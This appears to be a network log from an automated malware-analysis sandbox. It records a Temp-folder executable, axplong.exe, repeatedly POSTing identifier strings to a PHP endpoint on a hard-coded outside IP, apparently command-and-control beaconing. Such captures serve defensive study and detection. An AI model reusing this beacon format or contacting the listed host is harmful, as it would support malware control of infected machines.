Sep 26, 2024 21:33:13.653757095 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:13.904603004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:14.021836042 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:14.729381084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:14.730767965 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:14.960892916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49725	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:15.169286013 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:15.873456001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:15.874495983 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:16.121100903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:16.240159988 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:16.958602905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:16.961110115 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:17.237272024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49727	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:17.348145962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:18.058794975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:18.059864998 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:18.290765047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:18.410620928 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:19.136058092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:19.136811018 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:19.381850004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49730	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:19.503753901 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:20.193074942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:20.193856955 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:20.416703939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49731	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:20.556564093 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:21.281011105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:21.281878948 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:21.513554096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49732	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:21.630637884 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:22.357511997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:22.358398914 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:22.607094049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49733	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:22.724939108 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:23.444984913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:23.446398973 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:23.677946091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49734	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:23.818043947 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:24.514342070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:24.515600920 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:24.740842104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49735	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:24.849805117 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:25.559341908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:25.560769081 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:25.787144899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:25.894537926 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:26.593761921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:26.595630884 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:26.827879906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

